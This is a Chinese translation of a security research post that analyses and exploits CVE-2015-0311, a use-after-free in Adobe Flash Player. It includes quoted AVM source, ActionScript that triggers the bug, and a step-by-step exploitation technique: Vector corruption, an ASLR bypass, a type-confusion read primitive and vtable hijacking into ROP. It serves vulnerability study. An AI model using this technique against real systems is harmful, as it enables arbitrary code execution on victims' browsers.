Exploiting CVE-2015-0311: A Use-After-Free in Adobe Flash Player

wyzsk發表於2020-08-19
作者: Chuck · 2015/03/31 14:31

0x00 前言


作者:Francisco Falcón

題目:Exploiting CVE-2015-0311: A Use-After-Free in Adobe Flash Player

地址:http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/

一月末,Adobe釋出了Flash Player的APSA15-01安全公告,此公告修復了一個可影響FlashPlayer 16.0.0.287及之前版本的重要UAF漏洞(被確認為CVE-2015-0311)。攻擊者透過誘使不知情使用者訪問一個包含有精心構造的惡意SWF Flash檔案的網頁,可在具有該漏洞的使用者主機上執行任意程式碼。

該漏洞最早是作為一個被積極利用的零day在Angler Exploit Kit中被發現的。儘管利用程式碼用SecureSWF混淆工具高度混淆過,利用該漏洞的惡意軟體樣本還是變得公開可用,因此我決定深入底層研究該漏洞,完成漏洞利用並將相關模組寫到Core Impact Pro和Core Insight中。

0x01 漏洞概覽


當嘗試解壓縮用ActionScript中的zlib壓縮過的ByteArray中的資料時,底層的ActionScript虛擬機器(AVM)會在ByteArray::UncompressViaZlibVariant方法中處理該操作。該方法利用ByteArray::Grower類來動態增加存放解壓縮資料的目標緩衝區的大小。

當成功增加了目標緩衝區後,Grower類的解構函式就會通知所有的ByteArray(壓縮過的)的使用者必須使用增加後的緩衝區。全域性屬性ApplicationDomain.currentDomain.domainMemory就是ByteArray的一個使用者,該屬性可以被設定為一個給定ByteArray的全域性引用。引入ApplicationDomain.currentDomain.domainMemory的目的是透過使用avm2.intrinsics.memory包的底層AVM指令(如li8/si8, li16/si16, li32/si32),實現對ByteArray中的實際資料的快速讀寫操作。

當ByteArray中的資料不是合法的zlib壓縮資料時,zlib庫中的inflate()函式就會失敗,從而引出我們接下來要討論的一個問題。在執行失敗的情況下,ByteArray::UncompressViaZlibVariant() 方法會透過釋放掉增長的緩衝區並重置ByteArray的原始資料來執行回滾操作。

然而問題是,該方法並不通知使用者(ApplicationDomain.currentDomain.domainMemory)增長的緩衝區已經被釋放掉,因此ApplicationDomain.currentDomain.domainMemory會繼續保有一個指向已釋放緩衝區的懸垂引用。

0x02 根源分析


讓我們到AVM虛擬機器的原始碼中看下,在AS程式碼中呼叫ByteArray物件的uncompress()方法時到底會發生什麼。

當嘗試解壓縮ByteArray的資料時,AVM提供的ByteArray::Uncompress()方法(在core/ByteArrayGlue.cpp中定義)會根據資料的壓縮演算法呼叫一個相應的解壓縮函式。我們接下來重點看下zlib壓縮的情況。

#!c++
void ByteArray::Uncompress(CompressionAlgorithm algorithm)
{
    switch (algorithm) {
    case k_lzma:
        UncompressViaLzma();
        break;
    case k_zlib:
    default:
        UncompressViaZlibVariant(algorithm);
        break;
    }

ByteArray::UncompressViaZlibVariant()透過在迴圈中呼叫zlib庫中的inflate()函式,來分塊解壓縮ByteArray中的資料,如下面的程式碼片段所示:

#!c++
void ByteArray::UncompressViaZlibVariant(CompressionAlgorithm algorithm) 
{
        [...]
        while (error == Z_OK)
        {
            stream.next_out = scratch;
            stream.avail_out = kScratchSize;
            error = inflate(&stream, Z_NO_FLUSH);
            Write(scratch, kScratchSize - stream.avail_out);
        }

        inflateEnd(&stream);
        [...]

呼叫完zlib庫的inflate()函式後,ByteArray的Write()方法就將解壓縮後的塊資料寫入目的緩衝區中:

#!c++
void ByteArray::Write(const void* buffer, uint32_t count)
{
    if (count > UINT32_T_MAX - m_position) // Do not rearrange, guards against 64-bit overflow
        ThrowMemoryError();

    uint32_t writeEnd = m_position + count;

    Grower grower(this, writeEnd);
    grower.EnsureWritableCapacity();

    move_or_copy(m_buffer->array + m_position, buffer, count);
    m_position += count;
    if (m_buffer->length < m_position)
        m_buffer->length = m_position;
}

如上所示,該方法建立了Grower類的一個例項,然後透過呼叫例項的EnsureWritableCapacity()方法增加目標緩衝區的大小。Grower例項的範圍僅限ByteArray::Write()方法中區域性呼叫,因此當Write()方法執行完後,Grower類的解構函式就會預設被立刻呼叫。

下面是Grower類解構函式的部分程式碼。它呼叫了ByteArray類的NotifySubscribers()方法:

#!c++
ByteArray::Grower::~Grower()
{
    if (m_oldArray != m_owner->m_buffer->array || m_oldLength != m_owner->m_buffer->length)
{
    m_owner->NotifySubscribers();
}
[...]

ByteArray::NotifySubscribers()遍歷ByteArray的所有使用者,並呼叫使用者物件的notifyGlobalMemoryChanged()方法來通知它們新增加的緩衝區地址和大小的改變:

#!c++
voidByteArray::NotifySubscribers()
{
    for (uint32_t i = 0, n = m_subscribers.length(); i < n; ++i)      
    {             
        AvmAssert(m_buffer->length >= DomainEnv::GLOBAL_MEMORY_MIN_SIZE);

        DomainEnv* subscriber = m_subscribers.get(i);
        if (subscriber)
        {
            subscriber->notifyGlobalMemoryChanged(m_buffer->array, m_buffer->length);
        }
        else
        {
            // Domain went away? remove link
            m_subscribers.removeAt(i);
            --i;
        }
    }
}

最後,DomainEnv::notifyGlobalMemoryChanged()方法會更新全域性記憶體緩衝區的地址和大小。該方法真正改變ApplicationDomain.currentDomain.domainMemory的地址和大小:

#!c++
// memory changed so go through and update all reference to both the base
// and the size of the global memory
voidDomainEnv::notifyGlobalMemoryChanged(uint8_t* newBase, uint32_t newSize)
{
    AvmAssert(newBase != NULL); // real base address
    AvmAssert(newSize>= GLOBAL_MEMORY_MIN_SIZE); // big enough

    m_globalMemoryBase = newBase;
    m_globalMemorySize = (newSize> 0x7fffffff) ?0x7fffffff :newSize;
    TELEMETRY_UINT32(toplevel()->core()->getTelemetry(), ".mem.bytearray.alchemy",m_globalMemorySize/1024);
}

在所有這些呼叫鏈完成後,回到ByteArray::UncompressViaZlibVariant()方法的 ”inflate()和Write()”的迴圈中。如果迴圈中某個inflate()呼叫返回一個非0值,迴圈就會退出,同時會執行一個檢查來判斷資料有沒有被完全解壓縮。如果某處出錯,就會執行一個回滾操作:呼叫TellGcDeleteBufferMemory() / mmfx_delete_array() 來釋放掉新的記憶體,同時重置回原始ByteArray資料,如下所示:

#!c++
[...]
if (error == Z_STREAM_END)
    {
    // everything is cool
    [...]
else
    {
        // When we error:

        // 1) free the new buffer
TellGcDeleteBufferMemory(m_buffer->array, m_buffer->capacity);
mmfx_delete_array(m_buffer->array);

if (cShared) {
               m_buffer = origBuffer;
             }

        // 2) put the original data back.
m_buffer->array    = origData;
m_buffer->length   = origLen;
m_buffer->capacity = origCap;
m_position         = origPos;
SetCopyOnWriteOwner(origCopyOnWriteOwner);
origBuffer = NULL; // release ref before throwing
toplevel()->throwIOError(kCompressedDataError);
    }

但是請注意:這裡並沒有任何操作通知使用者新的緩衝區已經被釋放!因此,即使由於解壓縮操作失敗而導致新緩衝區被釋放,ApplicationDomain.currentDomain.domainMemory 還是會保留新緩衝區的一個引用。我們稍後會間接引用該懸垂指標,因此這是一個use-after-free(UAF)漏洞。

0x03 觸發UAF


可以透過以下步驟來重現產生懸垂指標的情況:先向ByteArray新增資料,再用zlib壓縮,然後在0x200偏移位置用垃圾資料覆蓋掉原來的壓縮資料,然後將此ByteArray指派給ApplicationDomain.currentDomain.domainMemory以建立ByteArray的使用者,最後呼叫ByteArray的uncompress()方法。

為什麼要從從0x200位置開始覆蓋壓縮資料呢?這是因為在ByteArray的開始位置保留一些合法的壓縮資料可以保證第一次對inflate()的呼叫成功;而且這樣ByteArray::Write()方法也會正常建立Grower類的例項,該例項會為儲存解壓縮的資料增加目標緩衝區的長度,並通知所有的使用者可以使用新增長的緩衝區了。

迴圈中,第二次呼叫“inflate()和Write()”時,inflate()函式會嘗試解壓縮我們構造的垃圾資料,因此一定會失敗。然後ByteArray::UncompressViaZlibVariant()就會執行回滾操作,釋放掉新增加的緩衝區,但同時卻不會通知ByteArray的所有使用者,所以就產生了懸垂指標。

下面的ActionScript程式碼片段可以重現該漏洞,使ApplicationDomain.currentDomain.domainMemory引用已釋放緩衝區:

#!c++
this.byte_array = new ByteArray();
this.byte_array.endian = Endian.LITTLE_ENDIAN;
this.byte_array.position = 0;
/* Initialize the ByteArray with some data */
while (count < 0x2000 / 4){
this.byte_array.writeUnsignedInt(0xfeedface + count);
count++;
}

/* Compress it with zlib */
this.byte_array.compress();

/* Overwrite the compressed data with junk, starting at offset 0x200 */
this.byte_array.position = 0x200;
while (pos < byte_array.length){
this.byte_array.writeByte(pos);
pos++;
}

/* Create a subscriber for that ByteArray */
ApplicationDomain.currentDomain.domainMemory = this.byte_array;

/* Trigger the bug! ByteArray::UncompressViaZlibVariant will leave ApplicationDomain.currentDomain.domainMemory
pointing to a buffer that is freed when the decompression fails. */
try{
this.byte_array.uncompress();
} catch(error:Error){
}

因此,就從這一點來說,我們已經令ApplicationDomain.currentDomain.domainMemory引用了已釋放的記憶體,而ApplicationDomain.currentDomain.domainMemory的引用也是ByteArray型別的。我們嘗試使用它的一些高層方法時,雖然好像是在操作一個合法的ByteArray,但實際上其操作的資料是錯誤的壓縮資料。

我們回過頭來再來看一下AVM虛擬機器的原始碼,並回想一下DomainEnv::notifyGlobalMemoryChanged()方法是如何更新全域性記憶體緩衝區的地址和大小的:

#!c++
m_globalMemoryBase = newBase;
m_globalMemorySize = (newSize > 0x7fffffff) ? 0x7fffffff : newSize;

m_globalMemoryBase(懸垂指標自身)和m_globalMemorySize都是DomainEnv類(core/DomainEnv.h)的成員。這些成員透過Getter方法來訪問:

#!c++
REALLY_INLINE uint8_t* globalMemoryBase() const { return m_globalMemoryBase; }
REALLY_INLINE uint32_t globalMemorySize() const { return m_globalMemorySize; }

到AVM的原始碼中搜尋下這兩個Getter方法,我們可以在core/Interpreter.cpp檔案中找到:

#!c++
#define MOPS_LOAD_INT(addr, type, call, result) \
MOPS_RANGE_CHECK(addr, type) \
union { const uint8_t* p8; const type* p; }; \
p8 = envDomain->globalMemoryBase() + (addr); \
result = *p;

#define MOPS_STORE_INT(addr, type, call, value) \
MOPS_RANGE_CHECK(addr, type) \
union { uint8_t* p8; type* p; }; \
p8 = envDomain->globalMemoryBase() + (addr); \
*p = (type)(value);

這兩個宏也在同一個core/Interpreter.cpp檔案中被使用:

#!c++
INSTR(li32) {
i1 = AvmCore::integer(sp[0]);   // i1 = addr
MOPS_LOAD_INT(i1, int32_t, li32, i32l); // i32l = result
sp[0] = core->intToAtom(i32l);
NEXT;
}
[...]
INSTR(si32) {
i32l = AvmCore::integer(sp[-1]);// i32l = value
i1 = AvmCore::integer(sp[0]);   // i1 = addr
MOPS_STORE_INT(i1, uint32_t, si32, i32l);
sp -= 2;
NEXT;
}

就是這樣!為了間接引用懸垂指標,我們需要使用avm2.intrinsics.memory包中的底層AVM指令,如 li8/si8, li16/si16, li32/si32等。這些指令,透過與ApplicationDomain.currentDomain.domainMemory的配合,能夠提供對包含有ByteArray實際資料的底層原始緩衝區的快速讀寫操作,而跳過使用ByteArray類高層方法的開銷。

li8/si8, li16/si16, li32/si32等指令隱式操作ApplicationDomain.currentDomain.domainMemory,如下面的ActionScript程式碼片段所示:

#!c++
/* Read a 32-bit integer from m_globalMemoryBase + 0x20 */
var some_value:uint = li32(0x20);

/* Overwrite the 32-bit integer at m_globalMemoryBase + 0x20 with 0xffffffff */
si32(0xffffffff, 0x20);

0x04 漏洞利用


為了達成對該漏洞的利用,在Web瀏覽器裡除錯含有該漏洞的Adobe Flash Player版本時,將需要在“inflate() and Write()”迴圈開始處設定斷點:

第一次斷點被命中後,透過跟蹤ByteArray::Write()的呼叫直到DomainEnv::notifyGlobalMemoryChanged()方法,可以看到ApplicationDomain.currentDomain.domainMemory是如何更新的。如下是Flash OCX二進位制檔案中的notifyGlobalMemoryChanged()方法:

[EDX+0x14]儲存了新緩衝區的地址,[EDX+0x18]則儲存了新緩衝區的大小。

在我的測試環境中,ApplicationDomain.currentDomain.domainMemory更新為下圖所示的值:緩衝區地址為0x0a98c000,緩衝區大小為0x1c32。

第二次呼叫inflate()將會觸發失敗,失敗程式碼為0xfffffffb,因此執行流進入回滾程式(命名為cleanup_on_uncompress_error的):

步入該函式中,我們可以看到它是透過呼叫TellGcDeleteBufferMemory()來釋放緩衝區的:

注意到TellGcDeleteBufferMemory()的引數是0x0a98c000 (緩衝區地址) 和0x200f。此處0x200f是緩衝區的容量,是與緩衝區長度不同的(長度是0x1C32,如上面的截圖所示)。從core/ByteArrayGlue.h檔案中可以看到:

#!c++
class Buffer : public FixedHeapRCObject
{
public:
    virtual void destroy();
    virtual ~Buffer();
    uint8_t* array;
    uint32_t capacity;
    uint32_t length;
};

Buffer.capacity是緩衝區可容納的最大位元組數(本例中為0x200f),而Buffer.length是實際使用的位元組數(本例中為0x1C32),其不同之處就在於此。

呼叫完TellGcDeleteBufferMemory()之後,它立即呼叫了mmfx_delete_array()來完成緩衝區的釋放操作。

既然緩衝區已經釋放掉了,我們將在此緩衝區留下的記憶體“空洞”中分配一個有趣的物件。我使用了跟惡意樣本中一樣的方法來完成的,就是,建立一個新的佔位ByteArray,其大小設為0x2000,然後透過呼叫其clear()方法釋放掉該物件,最後再建立一個Vector.<Object> (510*3)物件。

這意味著,在這一點上,我們已經令ApplicationDomain.currentDomain.domainMemory(應該指向包含ByteArray真實資料的原始緩衝區)指向了一個Vector物件的起始處!因為我們可以透過利用像li32/si32這樣的AVM指令在ApplicationDomain.currentDomain.domainMemory指向的記憶體中執行讀寫操作,我們就可以根據需要來讀和修改Vector物件,包括它的後設資料!

下圖展示了觸發bug後的期待狀態與實際狀態的不同,以及在緩衝區釋放造成的記憶體空洞中的Vector物件的分配情況:

0x05 篡改Vector物件


Vector物件的記憶體佈局如下:

$ ==> <Vector>   00010C00
$+4              00001FE0
$+8              08238000
$+C              082FA248
$+10             0793C000
$+14             09B8E018       <pointer to 
the_vector + 0x18 - useful if you need to obtain the address of the_vector>
$+18             00000010
$+1C             00000000
$+20 .vtable     61199418        OFFSET <Flash32_.Vector_vtable>  -> Overwrite it to hijack the execution flow
$+24 .length     000005FA       -> Overwrite it with 0xffffffff so you can read/write from/to any memory address
$+28 .elements[] 07A86BA1       the_vector[0]
$+2C             07A86BA1       the_vector[1]
$+30             07A86BA1       the_vector[2] 
...              xxxxxxxx       the_vector[n]

透過執行li32(0x20) 我們可以讀取到Vector物件0x20偏移處的dword資料,這裡是其虛擬函式表(vtable);而能讀到虛擬函式表的地址就足以確定Flash模組的基地址,因此也就可以繞過ASLR。

透過執行si32(0xffffffff,0x24),我們可以覆蓋掉儲存在Vector物件0x24偏移處的dword資料,該資料是物件的長度。設定這樣新的長度(0xffffffff)將允許我們在需要時讀/寫瀏覽器程式空間中任意記憶體地址的資料---|||---|||其實在Windows 7 SP1下完成漏洞利用並不需要修改Vector的長度。

然後我們以ByteArray的形式構造ROP鏈,並將其儲存為Vector的第一個element(不覆蓋任何後設資料)。

這個包含了我們構造的ROP鏈的ByteArray物件被儲存為一個tagged pointer,那什麼是tagged pointer呢?為增加指標所能儲存的資訊,Flash用指標的最後三個沒有什麼意義的bit來表示其自身的型別資訊(摘自Haifei Li’s presentation from CanSecWest 2011),這種修改後的指標就是tagged pointer:

Untagged    = 000 (0)
Object      = 001 (1)
String      = 010 (2)
Namespace   = 011 (3)
"undefined" = 100 (4)
Boolean     = 101 (5)
Integer     = 110 (6)
Number      = 111 (7)

現在可以透過執行li32(0x28)來洩露出我們構造的ROP鏈(ByteArray物件)的地址---|||也就是執行一個原始的讀操作,來讀取Vector的第一個element,然後將讀取到的tagged pointer再透過“address & 0xfffffff8”這樣的按位與操作untag掉。

已經得到洩露出的ROP鏈(ByteArray物件)的指標後,我們接下來再去讀取ByteArray物件0x40偏移處存放的DWORD資料,此處的DWORD是指向一個ByteArray::Buffer物件的指標。下面是所引用ByteArray物件的記憶體佈局:

$ ==> <ByteArray>   71078F10  OFFSET <Flash32_.ByteArray_vtable>
$+4                 00000002
$+8                 069CFDD0
$+C                 0697E628
$+10                06831360
$+14                00000040
$+18                71078EB8  Flash32_.71078EB8
$+1C                71078EC0  Flash32_.71078EC0
$+20                71078EB4  Flash32_.71078EB4
$+24                710BD534  Flash32_.710BD534
$+28                06603080
$+2C                06432000
$+30                0688EFB8
$+34                00000000
$+38                00000000
$+3C                7108ACC8  Flash32_.7108ACC8
$+40                0686D5D8  <pointer to ByteArray::Buffer>
$+44                00000000

為讀到儲存在ByteArray物件0x40偏移處的dword,我決定使用Vupen的Nocolas Joly提出的一種利用技術,該技術透過修改(tagging)一個指標以使其按照Number(IEEE-754 double precision)型別來解析,從而產生一個型別混亂,該型別混亂會為我們提供一個預設基本資料型別,透過它可以讀取任意地址的8位元組資料。大概過程如下:

首先我們把我們將想要讀取資料的地址修改為一個Number物件指標(將地址按位或上7--見上面的型別對應表),這樣我們就成功地建立了一個型別混亂;然後我們透過執行si32(fake_number_object,0x2c)指令,將此指向Number物件的偽造指標存放到Vector的element[]陣列中。

之後,我們讀取偽造的Number物件(下方程式碼中的this.the_vector1)的值,並將其寫入到一個備用ByteArray中;透過這種方法,我們想要讀取的地址中的8個位元組的資料就被存放到備用ByteArray中了。

#!c++
obj = this.the_vector[1];
z = new Number(obj);

var b:ByteArray = new ByteArray();
b.endian = Endian.LITTLE_ENDIAN;
b.writeDouble(z);

/* If pointer is aligned to 8, then we read the first dword */
if ((pointer & 7) == 0){
    result = b[3]*0x1000000 + b[2]*0x10000 + b[1]*0x100 + b[0];
}
/* else we read the second dword */
else{
    result = b[7]*0x1000000 + b[6]*0x10000 + b[5]*0x100 + b[4];
}
return result;

我們使用Number基本型別已經能夠讀取ByteArray物件0x40偏移處的dword資料,我之前提到過,該dword是指向ByteArray::Buffer的指標,然後我們可以再次使用該基本型別來讀取到ByteArray::Buffer物件0x8偏移處的dword值,該dword值正是指向我們ROP鏈原始資料的指標。如下是ByteArray::Buffer物件的記憶體佈局情況:

$==> <Buffer>     63D1945C  OFFSET <Flash32_.Buffer_vtable>
$+4               00000003
$+8  .array       06BC5000  <pointer to the raw data of the ByteArray>
$+C  .capacity    0000200F
$+10 .length      00001C32

這樣我們就獲取到了ROP鏈的地址(該例子中為0x06BC5000);現在我們只需執行si32(address_of_rop_chain, 0x20)指令,將Vector物件的虛擬函式表覆蓋為我們的ROP鏈,然後再呼叫Vector物件的toString()方法,此時被覆蓋掉的虛擬函式表就會被間接引用以呼叫相應函式指標,而我們也就將執行流程劫持到了我們自己的ROP中,並最終完成任意程式碼執行:

new Number(this.the_vector.toString());

0x06 結論


本文中的UAF漏洞可以被用來讀取及修改瀏覽器程式空間中的任意地址資料,允許攻擊者繞過作業系統的保護策略如ASLR和DEP,並最終導致任意程式碼執行。

然而,你應該注意到本篇博文中描述的利用方法只適用於Windows 7 SP1,不適用於Windows 8.1 Update 3(釋出於2014年11月)。為什麼呢?在Windows 8 Update 3中,微軟引入了一種新的緩解漏洞攻擊利用的CFG(Control Flow Guard)機制。CFG在所有非直接呼叫前都插入了一次檢查,以驗證呼叫的目的地址是否是編譯時被標記為“安全”的位置。執行時插入的驗證失敗,程式就檢測到了破壞正常執行流的嘗試並立即自動退出。

而Windows 8.1 Update 3中整合的Flash版本在編譯時已啟動了CFG機制,因此在攻擊利用的最後步驟中,也就是我們嘗試將Vector物件的虛擬函式表覆蓋,並呼叫toString()方法以修改執行流程時,CFG檢查函式就會檢測到我們的偽造虛擬函式表,並立即結束程式,從而阻止了我們的攻擊嘗試。

這意味著Windows 8.1 Update 3中的Flash漏洞利用引入了新的障礙:CFG保護的繞過。

劇透提醒:我們還是設法繞過了CFG,並在Windows 8.1 Update 3中成功實現了該Flash漏洞的利用。因此請期待下一篇博文,我們將在其中詳細解釋是如何做到繞過CFG並實現漏洞利用的!

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章